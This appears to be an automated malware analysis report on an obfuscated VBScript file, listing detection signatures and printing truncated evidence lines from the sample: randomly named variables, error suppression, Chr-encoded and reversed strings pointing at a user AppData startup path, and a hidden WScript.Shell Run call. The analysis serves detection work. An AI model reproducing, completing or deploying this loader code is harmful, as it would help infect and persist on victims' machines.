21a86b7bf0716493b76e2c60fb38d827bb48cbffc70c2ab1dc2285d8a7cdb43d.unknown
Obfuscated VBScript malware
WScript.Shell hides launched command windowChr with StrReverse deobfuscation
SHA-25621a86b7bf0716493b76e2c60fb38d827bb48cbffc70c2ab1dc2285d8a7cdb43d
MaleculeO₃(As₂C₂Xe)H₃(Po₄FOs₂)Md(Pt)
Evidence
1 Private function vxnNNjcKTZUOFOFbjRwpSDLWKXgEgrUCvhljUiXwmBwiYmWPgGzpdswvssZWNBgJZegZwPViCoSSncuLJRNLSKvmuknSxZEVxvAShLxBlBsmPIIHgtWvdgTThWbbcxUlWjHyKVSKhXHOPeCyeNsOFMbggTPWgSQjkXoUxZwhpYcagRtVAhbkolHqSXUmejuBpwoOtEEq(n)
2 Dim GRJkMbWmquShypHhBOKfmBnxSOWQSGcdkflLJpUaVTbNoJJsjHmTXxqPDUeVEBAQgWhTrBCeODUKJqEIxQovhAdIesbAQgOkDPzplBabOYTrdZsJuptPiIhFqWrMrvpwWUBHMYgieFOziBnbgZqxYbFhrKoLJXFrGJvBCoulTCOAvnCdYdnACMvgsGMYiCxdSZMzEhZA : GRJkMbWmquShypHhBOKfmBnxSOWQSGcdkflLJpUaVTbNoJJsjHmTXxqPDUeVEBAQgWhTrBCeODUKJqEIxQovhAdIesbAQgOkDPzplBabOYTrdZsJuptPiIhFqWrMrvpwWUBHMYgieFOziBnbgZqxYbFhrKoLJXFrGJvBCoulTCOAvnCdYdnACMvgsGMYiCxdSZMzEhZA = trcqjADOHRaCWqPaUEmpJdYBsRJrRUIamldqkFEnuICcMcUXorRJqxoHrMHlnMSZOWhAsSUMMPwmdwPgXjKkamyZYYTFylHddHvVySFyxiAnqdGFPtZMlKoQZnltYhGNvNVYbxmbwlmVznTIRWONpsxuOlYlQmYcleyzgdtXSUscbMrPPgSftfRrvPvEuYLBIGwjfGrF(n)
3 vxnNNjcKTZUOFOFbjRwpSDLWKXgEgrUCvhljUiXwmBwiYmWPgGzpdswvssZWNBgJZegZwPViCoSSncuLJRNLSKvmuknSxZEVxvAShLxBlBsmPIIHgtWvdgTThWbbcxUlWjHyKVSKhXHOPeCyeNsOFMbggTPWgSQjkXoUxZwhpYcagRtVAhbkolHqSXUmejuBpwoOtEEq = zGaMsKsPdoTxRQesMmUHtEyMqOQBCXomnJSWjqMCwfiMQBojUDtHMamwdWkoVklCgrDVJJIxHLTSTvbtUSxsnNHWBHWavkQJiQUemsZXcSkjgdGcCaMoFsFuPcIhuvviqFJeYluSeuLdOJzgJnmcpefaaRZncoKHKISboxvEetaMgwclNhHWGPYwparfNuxLndesYLnP(4 - Len(GRJkMbWmquShypHhBOKfmBnxSOWQSGcdkflLJpUaVTbNoJJsjHmTXxqPDUeVEBAQgWhTrBCeODUKJqEIxQovhAdIesbAQgOkDPzplBabOYTrdZsJuptPiIhFqWrMrvpwWUBHMYgieFOziBnbgZqxYbFhrKoLJXFrGJvBCoulTCOAvnCdYdnACMv …
101:565… uBORuBdQiJkPeJnIcxlTofloLCnkoXAkZKckGavhtGHhE)
102 On Error Resume Next
103 Dim CNpTeZOvtqwGYzLfYiTLbdurlNOIXQgnWgjtlVXsBSMvjEphFrPlhxKDIuXSUmOYvYamUBYGCkUOFjIDBPGEchbCIZpbutEYXlvXvzZzpsjsZfKoozUOKTxqXuScBXancSTeKpVgIMbYtfhbnvbjQUJnAnaykJMcouYetZofdmfWvFeSHNaJMcyExZdMWGlQpjJyoDCR
104
105 Set rUDwdwOgPZsIHAASSuWMNfczXMRfSAWqbMdFQjyiakvvQNfFeRbCfJhOABEAOBnfRSwssjjUTNiTIFgIxCphNIrAQbDYRgjMEvYscKwMIzfKdeScWmmoaCVqcFchKCTcZdPodMcVZynJpMRZEdvaqnmYJiTvoKCXiTFiOWyjOWxpyhfkSnPwPqSpWNlAoKqdzeBRnDeX = WScript.CreateObject( "WScript.Shell" )
106
107 CNpTeZOvtqwGYzLfYiTLbdurlNOIXQgnWgjtlVXsBSMvjEphFrPlhxKDIuXSUmOYvYamUBYGCkUOFjIDBPGEchbCIZpbutEYXlvXvzZzpsjsZfKoozUOKTxqXuScBXancSTeKpVgIMbYtfhbnvbjQUJnAnaykJMcouYetZofdmfWvFeSHNaJM …
240:311… mQUjLxJMUoUKmsKhrRnLWWvOpYjpPaiQQnShKMwBuKORSvdPXenWncPCIfiuXULjvBJPhOdJBMddpXUdTWTnzGWocpjOo + Chr(32)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)&Chr(92)&Chr(115)&Chr(119)&Chr(111)&Chr(100)&Chr(110)&Chr(105)&Chr(87)&Chr(92)&Chr(116)&Chr(102)&Chr(111)&Chr(115)&Chr(111)&Chr(114)&Chr(99)&Chr(105)&Chr(77)&Chr(92)&Chr(103)&Chr(110)&Chr(105)&Chr(109)&Chr(97)&Chr(111)&Chr(82)&Chr(92)&Chr(97)&Chr(116)&Chr(97)&Chr(68)&Chr(112)&Chr(112)&Chr(65) …
258:108… LHzespAbFnnmHSqIUyIEpcBEiffOsHvahQWsUgsZaHzfFIWCUcvvDSexhTfNZCqfLXZZEqceKuRVbyuRYFyqLqPkCewsK = StrReverse(Chr(34)&Chr(40)&Chr(103)&Chr(110)&Chr(105)&Chr(114)&Chr(116)&Chr(83)&Chr(116)&Chr(101)&Chr(71)&Chr(46)&Chr(101)&Chr(100)&Chr(111)&Chr(99)&Chr(105)&Chr(110)&Chr(85)&Chr(58)&Chr(58)&Chr(93)&Chr(103)&Chr(110)&Chr(105)&Chr(100)&Chr(111)&Chr(99)&Chr(110)&Chr(101)&Chr(46)&Chr(116)&Chr(120)&Chr(101)&Chr(84)&Chr(46 …
353:105… cjVXjRtYpMtOBnhWXiDLayqjqqtfeboRmqWVTritMztJLhGDdJYAUYcNFmieFqFbQvImQxEAZyzKVVQyHiKDDHBemKTINmWP.Run vNXulRyCafOVXswbigrpqhrPkWKiIECVlqWEJqbqAITihgNNwNuThtbLOhRCRAFuBZiqiCFNhxaxJAhsutMecrIgNVUbegYlsktiQSVdUfVUpWprDomlVUhtkmRVTyrWpibYKGNNLPlndBuiMXhmWSCWCdTIAsgIxzIsuxVRhussStfuaOJEFoEFwohVbtZJSAnKkQKF, 0, False
354 cWKnAnmqrXOFIvwVpqohewoVTKBGfsuhbfdzVBltVvsrouUxRraBAKzivxDEDeWjHxVbovFpnFQcUQYfWPTwpPQgAUtQtsitmoFDfOEoZKaHlJDNmyeDdORJErGTMrCNVySwenwzRVOrBkMlPoHKuvPfyNhLZigjLIIywSrURhLsdBsgLyNgnyiqu …